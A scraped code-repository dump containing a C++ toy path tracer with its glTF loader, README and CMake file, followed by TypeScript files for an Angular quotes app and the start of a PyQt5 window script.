job_queue; u32 capacity; std::atomic<u32> head; Spin_Lock spinlock; void lock() { spinlock.lock(); } void unlock() { spinlock.unlock(); } void init() { ZoneScoped; head = 0; capacity = 1 << 18; job_queue = (Job_t *)tl_alloc(sizeof(Job_t) * capacity); } void release() { tl_free(job_queue); } bool has_items() { return head.load() != 0; } bool try_dequeue(Job_t &job) { ZoneScoped; lock(); defer(unlock()); if (!has_items()) return false; u32 old_head = head.fetch_sub(1); job = job_queue[old_head - 1]; return true; } bool try_dequeue(Job_t *jobs, u32 *max_size) { ZoneScoped; lock(); defer(unlock()); if (!has_items()) { *max_size = 0; return false; } u32 num_items = MIN(*max_size, head.load()); u32 old_head = head.fetch_sub(num_items); memcpy(jobs, job_queue + old_head - num_items, sizeof(Job_t) * num_items); *max_size = num_items; return true; } void dequeue(Job_t *out, u32 &count) { ZoneScoped; lock(); defer(unlock()); if (head < count) { count = head; } u32 old_head = head.fetch_sub(count); memcpy(out, job_queue + head, count * sizeof(out[0])); } void enqueue(Job_t job) { ZoneScoped; lock(); defer(unlock()); ASSERT_PANIC(!std::isnan(job.ray_dir.x) && !std::isnan(job.ray_dir.y) && !std::isnan(job.ray_dir.z)); u32 old_head = head.fetch_add(1); job_queue[old_head] = job; ASSERT_PANIC(head <= capacity); } void enqueue(Job_t const *jobs, u32 num) { ZoneScoped; u32 old_head = 0; { lock(); defer(unlock()); old_head = head.fetch_add(num); ASSERT_PANIC(head <= capacity); } memcpy(job_queue + old_head, jobs, num * sizeof(Job_t)); } bool has_job() { return head != 0u; } void reset() { head = 0u; } }; static constexpr u32 NUM_BATCHES = 512; Batch<Job_t> batches[NUM_BATCHES]; void init() { ZoneScoped; ito(NUM_BATCHES) { batches[i].init(); } } void release() { ZoneScoped; ito(NUM_BATCHES) { batches[i].release(); } } bool has_items_any() { ito(NUM_BATCHES) if (batches[i].has_items()) return true; return false; } bool has_items(u32 id) { return batches[id % NUM_BATCHES].has_items(); } bool try_dequeue(u32 id, Job_t &job) { return batches[id % NUM_BATCHES].try_dequeue(job); } bool try_dequeue(u32 id, Job_t *jobs, u32 *max_size) { return batches[id % NUM_BATCHES].try_dequeue(jobs, max_size); } void dequeue(u32 id, Job_t *out, u32 &count) { return batches[id % NUM_BATCHES].dequeue(out, count); } void enqueue(u32 id, Job_t job) { return batches[id % NUM_BATCHES].enqueue(job); } void enqueue(u32 id, Job_t const *jobs, u32 num) { return batches[id % NUM_BATCHES].enqueue(jobs, num); } bool has_job(u32 id) { return batches[id % NUM_BATCHES].has_job(); } }; struct Scene { // 3D model + materials PBR_Model model; Array<BVH> bvhs; Image2D_Raw env_spheremap; void init(string_ref filename, string_ref env_filename) { ZoneScopedN("Scene::init()"); model = load_gltf_pbr(filename); env_spheremap = load_image(env_filename); bvhs.init(); Array<Tri> tri_pool; tri_pool.init(); defer(tri_pool.release()); kto(model.meshes.size) { Raw_Mesh_Opaque &mesh = model.meshes[k]; tri_pool.reset(); Tri *tris = tri_pool.alloc(mesh.num_indices / 3); u32 num_tris = mesh.num_indices / 3; ito(num_tris) { Triangle_Full ftri = mesh.fetch_triangle(i); tris[i].a = ftri.v0.position; tris[i].b = ftri.v1.position; tris[i].c = ftri.v2.position; tris[i].id = i; } BVH bvh; bvh.init(tris, num_tris); bvhs.push(bvh); } } float4 env_value(float3 ray_dir, float3 color) { if (env_spheremap.data == NULL) { return float4(0.0f, 0.0f, 0.0f, 1.0f); } float theta = std::acos(ray_dir.y); float2 xy = normalize(float2(ray_dir.z, -ray_dir.x)); float phi = -std::atan2(xy.x, xy.y); return float4(color, 1.0f) * env_spheremap.sample(float2((phi / PI / 2.0f) + 0.5f, theta / PI)); } bool collide(float3 ro, float3 rd, Collision &col) { ZoneScoped; col.t = FLT_MAX; bool hit = false; kto(model.meshes.size) { ZoneScoped; BVH &bvh = bvhs[k]; bvh.traverse(ro, rd, [&](vTri const &tri) { ZoneScoped; #if 1 vCollision vc; vc.t = vfloat::splat(FLT_MAX); vbool cur_hit = vray_triangle_test_moller( vfloat3::splat(ro), vfloat3::splat(rd), tri.a, tri.b, tri.c, vc); if (cur_hit.none()) return col.t; ito(16) { if (!cur_hit.is_enabled(i)) continue; Tri ntri = tri.extract(i); if (vc.t[i] < col.t) { hit = true; col = vc.extract(i); col.mesh_id = k; col.face_id = ntri.id; } } return col.t; #else Collision c; c.t = FLT_MAX; ito(16) { Tri ntri = tri.extract(i); if (ray_triangle_test_moller(ro, rd, ntri.a, ntri.b, ntri.c, c)) { if (c.t < col.t) { hit = true; col = c; col.mesh_id = k; col.face_id = ntri.id; } } } return c.t; #endif }); } return hit; } vbool vcollide(vfloat3 vro, vfloat3 vrd, vCollision &col) { ZoneScoped; col.t = vfloat::splat(FLT_MAX); vbool hit{0}; vbool vmsk = cur_vmask(); kto(model.meshes.size) { ZoneScoped; BVH &bvh = bvhs[k]; mask().set(vmsk); bvh.vtraverse(vro, vrd, [&](vTri const &tri, u32 num_triangles) { ZoneScoped; vCollision c; c.t = vfloat::splat(FLT_MAX); vbool vmsk = cur_vmask(); if (vmsk.popcnt() == 1 && num_triangles == 1) { ZoneScopedN("1:1 test"); u32 ray_id; vmsk.lsb(ray_id); float3 ro = vro.extract(ray_id); float3 rd = vrd.extract(ray_id); Collision c; c.t = FLT_MAX; Tri ntri = tri.extract(0); if (ray_triangle_test_moller(ro, rd, ntri.a, ntri.b, ntri.c, c)) { if (c.t < col.t) { hit.enable(ray_id); /*col = c; col.mesh_id = k; col.face_id = ntri.id;*/ } } } else { ZoneScopedN("1:16 test"); u32 i = 0; vbool iter = vmsk; while (iter.take_lsb(i)) { float3 ro = vro.extract(i); float3 rd = vrd.extract(i); mask().enable_all(); vbool cur_hit = vray_triangle_test_moller( vfloat3::splat(ro), vfloat3::splat(rd), tri.a, tri.b, tri.c, c); mask().set(vmsk); if (cur_hit.none()) continue; hit.enable(i); /*jto(16) { if (!cur_hit.is_enabled(i)) continue; if (c.t[j] < col.t[i]) { hit.enable(i); col.mesh_id[i] = c.mesh_id[j]; col.face_id[i] = c.face_id[j]; } }*/ } } }); // hit = hit | cur_vmask(); } return hit; } void release() { ito(bvhs.size) bvhs[i].release(); bvhs.release(); env_spheremap.release(); model.release(); } }; uint32_t rgba32f_to_rgba8_unorm(float r, float g, float b, float a) { uint8_t r8 = (uint8_t)(clamp(r, 0.0f, 1.0f) * 255.0f); uint8_t g8 = (uint8_t)(clamp(g, 0.0f, 1.0f) * 255.0f); uint8_t b8 = (uint8_t)(clamp(b, 0.0f, 1.0f) * 255.0f); uint8_t a8 = (uint8_t)(clamp(a, 0.0f, 1.0f) * 255.0f); return // ((uint32_t)r8 << 0) | // ((uint32_t)g8 << 8) | // ((uint32_t)b8 << 16) | // ((uint32_t)a8 << 24); // } uint32_t rgba32f_to_srgba8_unorm(float r, float g, float b, float a) { uint8_t r8 = (uint8_t)(clamp(std::pow(r, 1.0f / 2.2f), 0.0f, 1.0f) * 255.0f); uint8_t g8 = (uint8_t)(clamp(std::pow(g, 1.0f / 2.2f), 0.0f, 1.0f) * 255.0f); uint8_t b8 = (uint8_t)(clamp(std::pow(b, 1.0f / 2.2f), 0.0f, 1.0f) * 255.0f); uint8_t a8 = (uint8_t)(clamp(std::pow(a, 1.0f / 2.2f), 0.0f, 1.0f) * 255.0f); return // ((uint32_t)r8 << 0) | // ((uint32_t)g8 << 8) | // ((uint32_t)b8 << 16) | // ((uint32_t)a8 << 24); // } struct RTScene { struct Path_Tracing_Job { float3 ray_origin; float3 ray_dir; // Color weight applied to the sampled light vec3 color; u32 pixel_x, pixel_y; f32 weight; // For visibility checks u32 light_id; u32 depth, // Used to track down bugs _depth; }; struct Per_HW_Thread { Random_Factory rfs; Array<Path_Tracing_Job> local_queue; void init() { local_queue.init(); } void release() { local_queue.release(); } }; Per_HW_Thread phw[64]; Scene scene; u32 jobs_per_item = 8 * 32; bool use_jobs = true; u32 max_jobs_per_iter = 1 << 20; Queue<Path_Tracing_Job> queue; Array<float4> rt0; int2 iResolution = int2(512, 512); Camera cam; float2 halton_cache[0x100]; u32 primary_rays_cnt = 0; Spin_Lock rt0_locks[0x400]; u32 num_cpus; void retire_rt0(u32 i, u32 j, float4 d) { Spin_Lock &lock = rt0_locks[(hash_of((u64)i) ^ hash_of((u64)j)) % ARRAY_SIZE(rt0_locks)]; lock.lock(); defer(lock.unlock()); rt0[i * iResolution.x + j] += d; } void trace_primary(u32 batch, u32 i, u32 j, float3 ro, float3 rd) { Path_Tracing_Job job; job.color = float3(1.0f, 1.0f, 1.0f); job.depth = 0; job._depth = 0; job.light_id = 0; job.pixel_x = j; job.pixel_y = i; job.ray_dir = rd; job.ray_origin = ro; job.weight = 1.0f; queue.enqueue(batch, job); } void push_primary_rays(u32 num) { ZoneScopedN("Pushing primary rays"); // js.queue.reserve(iResolution.y * iResolution.x * 128); ito(iResolution.y) { jto(iResolution.x) { kto(num) { float2 jitter = halton_cache[(primary_rays_cnt + k) % ARRAY_SIZE(halton_cache)]; float2 uv = float2((float(j) + jitter.x) / iResolution.y, (float(iResolution.y - i - 1) + jitter.y) / iResolution.y) * 2.0f - 1.0f; Ray ray = gen_ray(cam, uv); u8 intersects = 0; trace_primary((u32)(hash_of(i) ^ hash_of(j) ^ hash_of(k / 16)), i, j, ray.o, ray.d); } } } primary_rays_cnt += num; } void init() { scene.init(stref_s("models/human_bust_sculpt/scene.gltf"), // scene.init(stref_s("models/old_tree/scene.gltf"), stref_s("env/kloetzle_blei_2k.hdr")); queue.init(); rt0.init(); rt0.resize(iResolution.x * iResolution.y); rt0.memzero(); num_cpus = std::thread::hardware_concurrency(); #if defined(_WIN32) { SYSTEM_INFO sysinfo; GetSystemInfo(&sysinfo); num_cpus = sysinfo.dwNumberOfProcessors; } #endif float2 m = float2(0.0f, 0.0f); const float PI = 3.141592654f; cam = gen_camera(PI * 0.3f, PI * 0.5, 45.0, float3(0.0, 1.0, 0.0), 1.0); ito(ARRAY_SIZE(phw)) phw[i].init(); ito(ARRAY_SIZE(halton_cache)) { f32 jitter_u = halton(i + 1, 2); f32 jitter_v = halton(i + 1, 3); halton_cache[i] = float2(jitter_u, jitter_v); } } void trace() { ZoneScopedN("Trace"); std::atomic<u32> rays_traced; std::atomic<u32> rays_hit; std::atomic<u32> rays_misses; std::atomic<u32> workers_in_progress; bool working = true; std::mutex cv_mux; std::condition_variable cv; std::mutex finished_mux; std::condition_variable finished_cv; std::thread * thpool[0x100]; fprintf(stdout, "Launching %i threads\n", num_cpus); auto t0 = clock(); for (u32 thread_id = 0; thread_id < num_cpus; thread_id++) { thpool[thread_id] = new std::thread([&, thread_id] { // Set affinity #if defined(_WIN32) SetThreadAffinityMask(GetCurrentThread(), (u64)1 << (u64)thread_id); #endif // _WIN32 u32 batch_hash = thread_id; while (working) { batch_hash = (u32)hash_of(batch_hash); if (queue.has_items(batch_hash) == false) { finished_cv.notify_one(); ito(32) nop(); if (!working) break; continue; } // if (queue.has_items(batch_hash) == false) workers_in_progress++; defer({ workers_in_progress--; }); ZoneScoped; const u32 MAX_SECONDARY = 4; Per_HW_Thread *res = &phw[thread_id % ARRAY_SIZE(phw)]; constexpr u32 RAY_BATCH_SIZE = 16; Path_Tracing_Job jobs[RAY_BATCH_SIZE]; u32 num_rays = RAY_BATCH_SIZE; res->local_queue.reset(); res->local_queue.reserve(RAY_BATCH_SIZE * MAX_SECONDARY); u32 rays_emited = 0; if (!queue.try_dequeue(batch_hash, jobs, &num_rays)) continue; mask().enable_all(); #if 1 for (u32 i = num_rays; i < RAY_BATCH_SIZE; i++) { mask().disable(i); } vCollision vcol; vfloat3 ray_origins; vfloat3 ray_dirs; kto(num_rays) { ray_origins.x[k] = jobs[k].ray_origin.x; ray_origins.y[k] = jobs[k].ray_origin.y; ray_origins.z[k] = jobs[k].ray_origin.z; ray_dirs.x[k] = jobs[k].ray_dir.x; ray_dirs.y[k] = jobs[k].ray_dir.y; ray_dirs.z[k] = jobs[k].ray_dir.z; } vbool collide = scene.vcollide(ray_origins, ray_dirs, vcol); kto(num_rays) { Path_Tracing_Job job = jobs[k]; if (collide.is_enabled(k)) { retire_rt0(job.pixel_y, job.pixel_x, float4(1.0f, 0.0f, 0.0f, 1.0f)); } else { retire_rt0(job.pixel_y, job.pixel_x, float4(0.0f, 0.0f, 0.0f, 1.0f)); } } #else kto(num_rays) { Path_Tracing_Job job = jobs[k]; rays_traced++; Collision col; bool collide = scene.collide(job.ray_origin, job.ray_dir, col); if (collide) { retire_rt0(job.pixel_y, job.pixel_x, float4(1.0f, 0.0f, 0.0f, 1.0f)); // if (job.depth == 2) { // retire_rt0(job.pixel_y, job.pixel_x, // float4(0.0f, 0.0f, 0.0f, job.weight)); // goto next_job; //} // if (job.depth == 2) // PBR_Model & model = scene.model; // PBR_Material &mat = model.materials[col.mesh_id]; // const u32 N = MAX_SECONDARY >> job.depth; // ito(N) { // float3 rn = // res->rfs.sample_lambert_BRDF(col.normal); Path_Tracing_Job // new_job; MEMZERO(new_job); new_job.color = // float3(1.0f, 1.0f, 1.0f); new_job.depth = job.depth + 1; // new_job._depth = 0; // new_job.light_id = 0; // new_job.pixel_x = job.pixel_x; // new_job.pixel_y = job.pixel_y; // new_job.ray_dir = rn; // new_job.ray_origin = col.position + 1.0e-4f * col.normal; // new_job.weight = job.weight / N; // res->local_queue.push(new_job); // rays_emited++; //} // ito(N) rays_hit++; } else { // if (collide) retire_rt0(job.pixel_y, job.pixel_x, float4(0.0f, 0.0f, 0.0f, 1.0f)); rays_misses++; /* if (job.depth == 0) { retire_rt0(job.pixel_y, job.pixel_x, float4(0.0f, 0.0f, 0.0f, job.weight)); } else { float4 env = scene.env_value(job.ray_dir, job.color); env.w = 1.0f; retire_rt0(job.pixel_y, job.pixel_x, job.weight * env); }*/ } // else (collide) if (res->local_queue.size != 0) queue.enqueue(batch_hash, &res->local_queue[0], res->local_queue.size); next_job: (void)0; } // kto(num_rays) #endif } // while (working) }); cv.notify_one(); } { std::unique_lock<std::mutex> lk(finished_mux); finished_cv.wait(lk, [&] { return queue.has_items_any() == false && workers_in_progress == 0; }); working = false; ito(num_cpus) { cv.notify_all(); thpool[i]->join(); delete thpool[i]; } } auto t1 = clock(); fprintf(stdout, "Time : %f\n" "Traced Rays : %i\n" "Hit Rays : %i\n" "Missed Rays : %i\n", (t1 - t0) * 1.0e-3f, rays_traced.load(), rays_hit.load(), rays_misses.load()); } void write_ppm() { TMP_STORAGE_SCOPE; u8 * rgb_image = (u8 *)tl_alloc_tmp(iResolution.x * iResolution.y * 3); auto retire_final = [&](u32 i, u32 j, float4 d) { d /= (d.w + 1.0e-6f); // d *= 1.5f; u32 rgba8 = rgba32f_to_rgba8_unorm(d.r, d.g, d.b, 1.0f); rgb_image[i * iResolution.x * 3 + j * 3 + 0] = (rgba8 >> 0) & 0xffu; rgb_image[i * iResolution.x * 3 + j * 3 + 1] = (rgba8 >> 8) & 0xffu; rgb_image[i * iResolution.x * 3 + j * 3 + 2] = (rgba8 >> 16) & 0xffu; }; ito(iResolution.y) { jto(iResolution.x) { retire_final(i, j, rt0[i * iResolution.x + j]); } } write_image_2d_i24_ppm("image.ppm", rgb_image, iResolution.x * 3, iResolution.x, iResolution.y); } void release() { rt0.release(); scene.release(); ito(ARRAY_SIZE(phw)) phw[i].release(); } }; int main(int argc, char *argv[]) { ZoneScoped; (void)argc; (void)argv; // vec_test(); // sort_test(); RTScene rts; rts.init(); rts.push_primary_rays(64); rts.trace(); rts.write_ppm(); defer({ rts.release(); }); //#ifdef UTILS_TL_IMPL_DEBUG // assert_tl_alloc_zero(); //#endif return 0; }<file_sep>## Toy path tracer ![1](images/1.png) ![1](images/2.png) ![1](images/3.png) ## Notes Models downloaded from sketchfab: * [human_bust_sculpt](https://sketchfab.com/3d-models/human-bust-sculpt-78b89c5ed16e42c38b732cef7ff1827e) * tree_low-poly_3d_model Env probes: https://hdrihaven.com/hdri/?c=indoor&h=skylit_garage Tested on windows.<file_sep>cmake_minimum_required(VERSION 3.4.3) project(toyrt) add_subdirectory(3rdparty/assimp) add_executable(toyrt main.cpp files.cpp rt.hpp utils.hpp ) # -Wall SET(CMAKE_CXX_FLAGS "-march=skylake-avx512 \ ${CMAKE_CXX_FLAGS}") add_library(TracyClient STATIC 3rdparty/tracy/TracyClient.cpp) target_include_directories(TracyClient PRIVATE 3rdparty/tracy) target_compile_definitions(TracyClient PRIVATE TRACY_ENABLE=1) target_include_directories(toyrt PRIVATE 3rdparty ${INCLUDES} ${CMAKE_SOURCE_DIR} ${CMAKE_BINARY_DIR} ) target_link_libraries(toyrt TracyClient assimp ) <file_sep>#include "rt.hpp" #define STB_IMAGE_IMPLEMENTATION #define STB_IMAGE_WRITE_IMPLEMENTATION #include "assimp/Importer.hpp" #include "assimp/postprocess.h" #include "assimp/scene.h" #include <assimp/contrib/stb_image/stb_image.h> #include <assimp/pbrmaterial.h> void calculate_dim(const aiScene *scene, aiNode *node, vec3 &min, vec3 &max) { for (unsigned int i = 0; i < node->mNumMeshes; i++) { aiMesh *mesh = scene->mMeshes[node->mMeshes[i]]; for (unsigned int i = 0; i < mesh->mNumVertices; ++i) { kto(3) max[k] = std::max(max[k], mesh->mVertices[i][k]); kto(3) min[k] = std::min(min[k], mesh->mVertices[i][k]); } } for (unsigned int i = 0; i < node->mNumChildren; i++) { calculate_dim(scene, node->mChildren[i], min, max); } } Image2D_Raw load_image(string_ref filename, Format_t format) { TMP_STORAGE_SCOPE; if (stref_find(filename, stref_s(".hdr")) != -1) { int width, height, channels; unsigned char *result; FILE * f = stbi__fopen(stref_to_tmp_cstr(filename), "rb"); ASSERT_PANIC(f); stbi__context s; stbi__start_file(&s, f); stbi__result_info ri; memset(&ri, 0, sizeof(ri)); ri.bits_per_channel = 8; ri.channel_order = STBI_ORDER_RGB; ri.num_channels = 0; float *hdr = stbi__hdr_load(&s, &width, &height, &channels, STBI_rgb, &ri); fclose(f); ASSERT_PANIC(hdr); Image2D_Raw out; out.init(width, height, Format_t::RGB32_FLOAT, (u8 *)hdr); stbi_image_free(hdr); return out; } else { int width, height, channels; auto image = stbi_load(stref_to_tmp_cstr(filename), &width, &height, &channels, STBI_rgb_alpha); ASSERT_PANIC(image); Image2D_Raw out; out.init(width, height, format, image); stbi_image_free(image); return out; } } void traverse_node(PBR_Model &out, aiNode *node, const aiScene *scene, string_ref dir, u32 parent_id, float vk) { Transform_Node tnode; tnode.init(); float4x4 transform; ito(4) { jto(4) { transform[i][j] = node->mTransformation[j][i]; } } vec3 offset; vec3 scale; ito(3) { scale[i] = glm::length(vec3(transform[0][i], transform[1][i], transform[2][i])); } offset = vec3(transform[3][0], transform[3][1], transform[3][2]); mat3 rot_mat; ito(3) { jto(3) { rot_mat[i][j] = transform[i][j] / scale[i]; } } quat rotation(rot_mat); // tnode.offset = offset; // tnode.rotation = rotation; // tnode.transform = transform; for (unsigned int i = 0; i < node->mNumMeshes; i++) { aiMesh *mesh = scene->mMeshes[node->mMeshes[i]]; u32 num_indices = 0; bool crap_detected = false; for (unsigned int i = 0; i < mesh->mNumFaces; ++i) { aiFace face = mesh->mFaces[i]; num_indices += face.mNumIndices; if (num_indices % 3 != 0) { fprintf(stderr, "Blimey! Non triangular faces detected!\n"); crap_detected = true; } // ASSERT_DEBUG(face.mNumIndices % 3 == 0); } if (crap_detected) continue; // No support for animated meshes ASSERT_PANIC(!mesh->HasBones()); Raw_Mesh_Opaque opaque_mesh; opaque_mesh.init(); using GLRF_Vertex_t = Vertex_Full; opaque_mesh.num_vertices = mesh->mNumVertices; opaque_mesh.num_indices = num_indices; opaque_mesh.attribute_data.reserve(sizeof(GLRF_Vertex_t) * mesh->mNumVertices); opaque_mesh.index_data.reserve(sizeof(u32) * 3 * mesh->mNumFaces); auto write_bytes = [&](u8 *src, size_t size) { ito(size) opaque_mesh.attribute_data.push(src[i]); }; auto write_index_data = [&](u8 *src, size_t size) { ito(size) opaque_mesh.index_data.push(src[i]); }; bool has_textcoords = mesh->HasTextureCoords(0); bool has_normals = mesh->HasNormals(); bool has_tangent_space = mesh->HasTangentsAndBitangents() && has_textcoords && has_normals; //////////////////////// for (unsigned int i = 0; i < mesh->mNumVertices; ++i) { GLRF_Vertex_t vertex; MEMZERO(vertex); vertex.position.x = mesh->mVertices[i].x * vk; vertex.position.y = mesh->mVertices[i].y * vk; vertex.position.z = mesh->mVertices[i].z * vk; if (has_tangent_space) { vertex.tangent.x = mesh->mTangents[i].x; vertex.tangent.y = mesh->mTangents[i].y; vertex.tangent.z = mesh->mTangents[i].z; } else { vertex.tangent = float3(0.0f, 0.0f, 0.0f); } if (has_tangent_space) { vertex.binormal.x = mesh->mBitangents[i].x; vertex.binormal.y = mesh->mBitangents[i].y; vertex.binormal.z = mesh->mBitangents[i].z; } else { vertex.binormal = float3(0.0f, 0.0f, 0.0f); } if (has_normals) { vertex.normal.x = mesh->mNormals[i].x; vertex.normal.y = mesh->mNormals[i].y; vertex.normal.z = mesh->mNormals[i].z; } if (has_tangent_space) { // An attempt to fix the tangent space if (std::isnan(vertex.binormal.x) || std::isnan(vertex.binormal.y) || std::isnan(vertex.binormal.z)) { vertex.binormal = glm::normalize(glm::cross(vertex.normal, vertex.tangent)); } if (std::isnan(vertex.tangent.x) || std::isnan(vertex.tangent.y) || std::isnan(vertex.tangent.z)) { vertex.tangent = glm::normalize(glm::cross(vertex.normal, vertex.binormal)); } ASSERT_PANIC(!std::isnan(vertex.binormal.x) && !std::isnan(vertex.binormal.y) && !std::isnan(vertex.binormal.z)); ASSERT_PANIC(!std::isnan(vertex.tangent.x) && !std::isnan(vertex.tangent.y) && !std::isnan(vertex.tangent.z)); } if (has_textcoords) { vertex.u0.x = mesh->mTextureCoords[0][i].x; vertex.u0.y = mesh->mTextureCoords[0][i].y; } else { vertex.u0 = glm::vec2(0.0f, 0.0f); } write_bytes((u8 *)&vertex, sizeof(vertex)); } for (unsigned int i = 0; i < mesh->mNumFaces; ++i) { aiFace face = mesh->mFaces[i]; for (unsigned int j = 0; j < face.mNumIndices; ++j) { write_index_data((u8 *)&face.mIndices[j], 4); } } opaque_mesh.index_type = Index_t::U32; aiMaterial * material = scene->mMaterials[mesh->mMaterialIndex]; PBR_Material out_material; MEMZERO(out_material); float metal_base; float roughness_base; aiColor4D albedo_base; material->Get(AI_MATKEY_GLTF_PBRMETALLICROUGHNESS_BASE_COLOR_FACTOR, albedo_base); material->Get(AI_MATKEY_GLTF_PBRMETALLICROUGHNESS_METALLIC_FACTOR, metal_base); material->Get(AI_MATKEY_GLTF_PBRMETALLICROUGHNESS_ROUGHNESS_FACTOR, roughness_base); out_material.metal_factor = metal_base; out_material.roughness_factor = roughness_base; out_material.albedo_factor = vec4(albedo_base.r, albedo_base.g, albedo_base.b, albedo_base.a); for (int tex = aiTextureType_NONE; tex <= aiTextureType_UNKNOWN; tex++) { aiTextureType type = static_cast<aiTextureType>(tex); if (material->GetTextureCount(type) > 0) { aiString relative_path; material->GetTexture(type, 0, &relative_path); char full_path[0x100]; snprintf(full_path, sizeof(full_path), "%.*s/%s", STRF(dir), relative_path.C_Str()); Format_t format = Format_t::RGBA8_SRGB; switch (type) { case aiTextureType_NORMALS: format = Format_t::RGBA8_UNORM; out_material.normal_id = i32(out.images.size); break; case aiTextureType_DIFFUSE: out_material.albedo_id = i32(out.images.size); break; case aiTextureType_SPECULAR: case aiTextureType_SHININESS: case aiTextureType_REFLECTION: case aiTextureType_UNKNOWN: // case aiTextureType_AMBIENT: // @Cleanup :( // Some models downloaded from sketchfab have metallic-roughness // imported as unknown/lightmap and have (ao, roughness, metalness) // as components case aiTextureType_LIGHTMAP: format = Format_t::RGBA8_UNORM; out_material.arm_id = i32(out.images.size); break; default: fprintf(stderr, "[LOAD][WARNING] Unrecognized image type\n"); // ASSERT_PANIC(false && "Unsupported texture type"); break; } out.images.push(load_image(stref_s(full_path), format)); } else { } } opaque_mesh.vertex_stride = sizeof(GLRF_Vertex_t); // clang-format off opaque_mesh.attributes.push({Attribute_t::POSITION, Format_t::RGB32_FLOAT, OFFSETOF(Vertex_Full, position)}); if (has_normals) opaque_mesh.attributes.push({Attribute_t::NORMAL, Format_t::RGB32_FLOAT, OFFSETOF(Vertex_Full, normal)}); if (has_tangent_space) { opaque_mesh.attributes.push({Attribute_t::BINORMAL, Format_t::RGB32_FLOAT, OFFSETOF(Vertex_Full, binormal)}); opaque_mesh.attributes.push({Attribute_t::TANGENT, Format_t::RGB32_FLOAT, OFFSETOF(Vertex_Full, tangent)}); } if (has_textcoords) { opaque_mesh.attributes.push({Attribute_t::UV0, Format_t::RG32_FLOAT, OFFSETOF(Vertex_Full, u0)}); opaque_mesh.attributes.push({Attribute_t::UV1, Format_t::RG32_FLOAT, OFFSETOF(Vertex_Full, u1)}); opaque_mesh.attributes.push({Attribute_t::UV2, Format_t::RG32_FLOAT, OFFSETOF(Vertex_Full, u2)}); opaque_mesh.attributes.push({Attribute_t::UV3, Format_t::RG32_FLOAT, OFFSETOF(Vertex_Full, u3)}); } out.materials.push(out_material); out.meshes.push(opaque_mesh); tnode.meshes.push(u32(out.meshes.size - 1)); } out.nodes.push(tnode); out.nodes[parent_id].children.push(u32(out.nodes.size - 1)); for (unsigned int i = 0; i < node->mNumChildren; i++) { traverse_node(out, node->mChildren[i], scene, dir, u32(out.nodes.size - 1), vk); } } PBR_Model load_gltf_pbr(string_ref filename) { Assimp::Importer importer; PBR_Model out; out.init(); out.nodes.push(Transform_Node{}); string_ref dir_path = get_dir(filename); TMP_STORAGE_SCOPE; const aiScene *scene = importer.ReadFile(stref_to_tmp_cstr(filename), aiProcess_Triangulate | // aiProcess_GenSmoothNormals | // aiProcess_PreTransformVertices | // aiProcess_OptimizeMeshes | // aiProcess_CalcTangentSpace | // aiProcess_FlipUVs); if (!scene) { fprintf(stderr, "[FILE] Errors: %s\n", importer.GetErrorString()); ASSERT_PANIC(false); } vec3 max = vec3(-1.0e10f); vec3 min = vec3(1.0e10f); calculate_dim(scene, scene->mRootNode, min, max); vec3 max_dims = max - min; // Size normalization hack float vk = 1.0f; float max_dim = std::max(max_dims.x, std::max(max_dims.y, max_dims.z)); vk = 50.0f / max_dim; vec3 avg = (max + min) / 2.0f; traverse_node(out, scene->mRootNode, scene, dir_path, 0, vk); out.nodes[0].offset = -avg * vk; return out; }
c4eeac6f9ff38210d7dd37fd05627db369799b32
[ "Markdown", "CMake", "C++" ]
5
C++
aschrein/toyrt
0759d5324f2945c3029103ca89833eb640f41dfc
5f6640cbf5cf372d52195deb9b74abb653d854a9
refs/heads/master
<repo_name>claudinemahoro/quotes<file_sep>/src/app/quote/quote.component.ts import { Component, OnInit } from '@angular/core'; import { Quote } from '../quote'; @Component({ selector: 'app-quote', templateUrl: './quote.component.html', styleUrls: ['./quote.component.css'] }) export class QuoteComponent implements OnInit { quotes: Quote[]= [ new Quote('<NAME>','Get it down. Take chances. It may be bad, but it is the only way you can do anything really good.','Mahoro',0,0,new Date(2020,10,31)), new Quote('<NAME>','If there is a book that you want to read, but it has not been written yet, then you must write it.','Claudine',0,0,new Date(2020,10,28)), new Quote('Mahoro','Never make your now then,because you leave now as you live it','Coco',0,0,new Date(2020,11,2)), ]; preNum:number lastNum:number counter:number toggleDetails(index){ this.quotes[index].showDescription = !this.quotes[index].showDescription; } deleteQuote(isRead, index){ if (isRead) { let toDelete = confirm(`Are you sure you want to delete ${this.quotes[index].content}?`) if (toDelete){ this.quotes.splice(index,1) } } } addNewQuote(quote){ this.quotes.push(quote) } HighestUpvote(){ this.preNum = 0 this.lastNum = 0 for(this.counter=0 ; this.counter < this.quotes.length; this.counter++) { this.lastNum = this.quotes[this.counter].like; if(this.lastNum > this.preNum){this.preNum = this.lastNum} } return this.preNum } constructor() { } ngOnInit(): void { } } <file_sep>/src/app/quote.ts export class Quote { showDescription: boolean; constructor(public uploadedBy: string,public content: string,public author: String, public like: number,public unlike: number,public uploadDate: Date ){ this.showDescription=false; } }
5cca1546693d1848f0f3e274a1807007ae06ed49
[ "TypeScript" ]
2
TypeScript
claudinemahoro/quotes
2cada4077696ba59098cf0f4328dcfdc88a4151c
b9a2a3234d343657b398bda6447dbf364fc7fe42
refs/heads/master
<file_sep>import sys from PyQt5.QtWidgets import * from PyQt5.QtCore import * from PyQt5.QtGui import * class Window_go(QWidget): #menentukan ukuran window, + title dan menampilkan def __init__(self): super().__init__() self.setWindowTitle("Pemdesk") self.setGeometry(300, 100, 500, 400) self.createLayout() self.show() def createLayout(self): window = QWidget() # layout induk self.induk = QGridLayout() # label dan combo box bagian atas self.lb1 = QLabel("Style :") self.option = QComboBox() self.option.addItems([ "Klasik", "Woodie's", "Camarilla", "<NAME>" ]) # check box atas cekk = QCheckBox("Use Style Standard Pallets") cekk.setChecked(True) cek1 = QCheckBox("Disable widgets") cek1.setChecked(False) # add widget self.hbox = QHBoxLayout() self.hbox.addWidget(self.lb1) self.hbox.addWidget(self.option) self.hbox.addStretch(1) self.hbox.addWidget(cekk) self.hbox.addWidget(cek1) # group 1 radiobutton1 = QRadioButton("radio button 1") radiobutton1.setChecked(True) radiobutton2 = QRadioButton("radio button 2") radiobutton2.setChecked(False) radiobutton3 = QRadioButton("radio button 3") radiobutton3.setChecked(False) checkbox = QCheckBox(" tristate radio button ") checkbox.setTristate(True) checkbox.setCheckState(Qt.PartiallyChecked) self.formGroupBox1 = QGroupBox() vbox1 = QVBoxLayout() vbox1.addWidget(radiobutton1) vbox1.addWidget(radiobutton2) vbox1.addWidget(radiobutton3) vbox1.addWidget(checkbox) vbox1.addStretch(1) self.formGroupBox1.setLayout(vbox1) # group 2 pushButton = QPushButton("Default Push Button") pushButton.setStyleSheet("background-color : lightblue") 